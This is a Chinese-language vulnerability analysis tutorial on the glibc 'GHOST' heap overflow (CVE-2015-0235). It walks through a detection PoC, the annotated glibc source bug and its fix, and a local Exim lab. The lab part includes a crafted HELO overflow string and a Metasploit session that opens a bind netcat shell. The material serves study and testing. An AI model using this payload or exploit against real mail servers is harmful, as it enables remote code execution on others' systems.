# 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞 - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) - [Exim expolit](#exim-exploit) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.2_glibc_2015-0235) ## 漏洞描述 glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 12.04 | 体系结构:64 位 | | 调试器 | gdb-peda | 版本号:7.4 | | 漏洞软件 | glibc | 版本号:2.15 | | 受影响软件 | Exim4 | 版本号:4.80 | 通过下面的 PoC 可以知道自己的系统是否受到影响: ```c #include #include #include #include #include #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE); } ``` ```text $ file /lib/x86_64-linux-gnu/libc-2.15.so /lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped $ gcc -g poc.c $ ./a.out vulnerable ``` 很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。 函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下: ```c struct hostent { char *h_name; /* official name of host */ char **h_aliases; /* alias list */ int h_addrtype; /* host address type */ int h_length; /* length of address */ char **h_addr_list; /* list of addresses */ } #define h_addr h_addr_list[0] /* for backward compatibility */ int gethostbyname_r(const char *name, struct hostent *ret, char *buf, size_t buflen, struct hostent **result, int *h_errnop); ``` - `name`:网页的 host 名称 - `ret`:成功时用于存储结果 - `buf`:临时缓冲区,存储过程中的各种信息 - `buflen`:缓冲区大小 - `result`:成功时指向 ret - `h_errnop`:存储错误码 执行前: ```text gdb-peda$ x/6gx temp.buffer 0x601060 : 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr 0x601070 : 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs 0x601080 : 0x0000000000000000 0x0000000000000000 <-- hostname gdb-peda$ x/20gx temp.canary-0x10 0x601450 : 0x0000000000000000 0x0000000000000000 0x601460 : 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary 0x601470 : 0x0000000000000000 0x0000000000000000 ``` 执行后: ```text gdb-peda$ x/6gx temp.buffer 0x601060 : 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr 0x601070 : 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs 0x601080 : 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname gdb-peda$ x/6gx temp.canary-0x10 0x601450 : 0x3030303030303030 0x3030303030303030 0x601460 : 0x0030303030303030 0x656e696d5f6c616f <-- canary 0x601470 : 0x0000000000000000 0x0000000000000000 ``` canary 被覆盖了 8 个字节,即溢出了 8 个字节。 ## 漏洞分析 ```text grep -irF '__nss_hostname_digits_dots' ./* ./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots ./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2. [...] ./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer, ./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf, ./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots) ./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL, ``` 通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义: ```c // inet/gethstbynm.c #define NEED_H_ERRNO 1 // nss/getXXbyYY_r.c #ifdef HANDLE_DIGITS_DOTS if (buffer != NULL) { if (__nss_hostname_digits_dots (name, &resbuf, &buffer, &buffer_size, 0, &result, NULL, AF_VAL, H_ERRNO_VAR_P)) goto done; } #endif ``` 具体程序如下(来自glibc-2.17): ```c // nss/digits_dots.c int __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, char **buffer, size_t *buffer_size, size_t buflen, struct hostent **result, enum nss_status *status, int af, int *h_errnop) { [...] if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') { const char *cp; char *hostname; typedef unsigned char host_addr_t[16]; host_addr_t *host_addr; typedef char *host_addr_list_t[2]; host_addr_list_t *h_addr_ptrs; char **h_alias_ptr; size_t size_needed; [...] // size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0') size_needed = (sizeof (*host_addr) + sizeof (*h_addr_ptrs) + strlen (name) + 1); if (buffer_size == NULL) // 重入分支 { if (buflen < size_needed) { [...] goto done; } } else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支 { char *new_buf; *buffer_size = size_needed; new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大 if (new_buf == NULL) { [...] goto done; } *buffer = new_buf; } [...] // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname // 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节 host_addr = (host_addr_t *) *buffer; h_addr_ptrs = (host_addr_list_t *) ((char *) host_addr + sizeof (*host_addr)); h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr); if (isdigit (name[0])) { for (cp = name;; ++cp) { if (*cp == '\0') { int ok; if (*--cp == '.') break; [...] if (af == AF_INET) ok = __inet_aton (name, (struct in_addr *) host_addr); else { assert (af == AF_INET6); ok = inet_pton (af, name, host_addr) > 0; } if (! ok) { [...] goto done; } resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出 [...] goto done; } if (!isdigit (*cp) && *cp != '.') break; } } ``` 注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件: - name 的第一个字符必须是数字 - name 的最后一个字符不能是 "." - name 的所有字符只能是数字或者 "." - 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff 对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决: ```c size_needed = (sizeof (*host_addr) + sizeof (*h_addr_ptrs) + sizeof (*h_alias_ptr) + strlen (name) + 1); ``` ### Exim exploit ```text $ sudo apt-get install libpcre3-dev $ git clone https://github.com/Exim/exim.git $ cd exim/src $ git checkout exim-4_80 $ mkdir Local $ cp src/EDITME Local/Makefile $ #修改 Makefile 中的 EXIM_USER=你的用户名 $ #注释掉 EXIM_MONITOR=eximon.bin $ #然后取消掉 PCRE_LIBS=-lpcre 的注释 $ make && sudo make install ``` 最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`: ```text acl_smtp_mail = MAIN_ACL_CHECK_MAIL helo_try_verify_hosts = * ``` 更新并重启软件即可: ```text $ update-exim4.conf $ exim4 -bP | grep helo_try helo_try_verify_hosts = * $ sudo /etc/init.d/exim4 stop $ sudo /usr/exim/bin/exim -bdf -d+all ``` 这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。 先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么: ```text $ telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800 HELO 0123456789 250 firmy-VirtualBox Hello localhost [127.0.0.1] ^CConnection closed by foreign host. firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800 HELO 0123456789 250 firmy-VirtualBox Hello localhost [127.0.0.1] ``` 结果如下: ```text 17:00:47 5577 Process 5577 is ready for new message 17:00:47 5577 smtp_setup_msg entered 17:00:55 5577 SMTP<< HELO 0123456789 17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1] 17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789) 17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1] 17:00:55 5577 verifying EHLO/HELO argument "0123456789" 17:00:55 5577 getting IP address for 0123456789 17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND) 17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND) 17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) 17:00:55 5577 LOG: host_lookup_failed MAIN 17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) 17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts 17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1] ``` 可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80) ```c // src/src/smtp_in.c int smtp_setup_msg(void) { [...] while (done <= 0) { [...] switch(smtp_read_command(TRUE)) { [...] case HELO_CMD: HAD(SCH_HELO); hello = US"HELO"; esmtp = FALSE; goto HELO_EHLO; case EHLO_CMD: HAD(SCH_EHLO); hello = US"EHLO"; esmtp = TRUE; // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程 HELO_EHLO: /* Common code for HELO and EHLO */ cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE; cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE; /* Reject the HELO if its argument was invalid or non-existent. A successful check causes the argument to be saved in malloc store. */ if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址 { [...] break; } [...] helo_verified = helo_verify_failed = FALSE; if (helo_required || helo_verify) { BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效 if (!helo_verified) { if (helo_required) { [...] } HDEBUG(D_all) debug_printf("%s verification failed but host is in " "helo_try_verify_hosts\n", hello); } } ``` 继续看函数 `smtp_verify_helo()`: ```c // src/src/smtp_in.c BOOL smtp_verify_helo(void) { [...] if (!helo_verified) { int rc; host_item h; h.name = sender_helo_name; h.address = NULL; h.mx = MX_NONE; h.next = NULL; HDEBUG(D_receive) debug_printf("getting IP address for %s\n", sender_helo_name); rc = host_find_byname(&h, NULL, 0, NULL, TRUE); if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL) [....] } } ``` ```c // src/src/host.c int host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags, uschar **fully_qualified_name, BOOL local_host_check) { [...] for (i = 1; i <= times; #if HAVE_IPV6 af = AF_INET, /* If 2 passes, IPv4 on the second */ #endif i++) { [...] #if HAVE_IPV6 if (running_in_test_harness) hostdata = host_fake_gethostbyname(host->name, af, &error_num); else { #if HAVE_GETIPNODEBYNAME hostdata = getipnodebyname(CS host->name, af, 0, &error_num); #else hostdata = gethostbyname2(CS host->name, af); error_num = h_errno; #endif } #else /* not HAVE_IPV6 */ if (running_in_test_harness) hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num); else { hostdata = gethostbyname(CS host->name); error_num = h_errno; } #endif /* HAVE_IPV6 */ ``` 函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。 这一次我们输入这样的一串字符,即可导致溢出: ```text $ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))" ``` 但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。 ```text Connection closed by foreign host. ``` ```text $ dmesg | grep exim [28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000] [28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] [28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] [28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000] ``` 其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开: ```text $ /etc/init.d/exim4 restart ``` ```text msf > search exim Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection msf > use exploit/linux/smtp/exim_gethostbyname_bof msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1 SENDER_HOST_ADDRESS => 127.0.0.1 msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat payload => cmd/unix/bind_netcat msf exploit(linux/smtp/exim_gethostbyname_bof) > show options Module options (exploit/linux/smtp/exim_gethostbyname_bof): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 127.0.0.1 yes The target address RPORT 25 yes The target port (TCP) SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim) Payload options (cmd/unix/bind_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST 127.0.0.1 no The target address Exploit target: Id Name -- ---- 0 Automatic msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit [*] Started bind handler [*] 127.0.0.1:25 - Checking if target is vulnerable... [+] 127.0.0.1:25 - Target is vulnerable. [*] 127.0.0.1:25 - Trying information leak... [+] 127.0.0.1:25 - Successfully leaked_arch: x64 [+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720 [*] 127.0.0.1:25 - Trying code execution... [+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb [+] 127.0.0.1:25 - Brute-force SUCCESS [+] 127.0.0.1:25 - Please wait for reply... [*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800 whoami Debian-exim id uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim) ``` Bingo!!!成功获得了一个反弹 shell。 对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。 ## 参考资料 - [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235) - [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9) - [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/) - [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)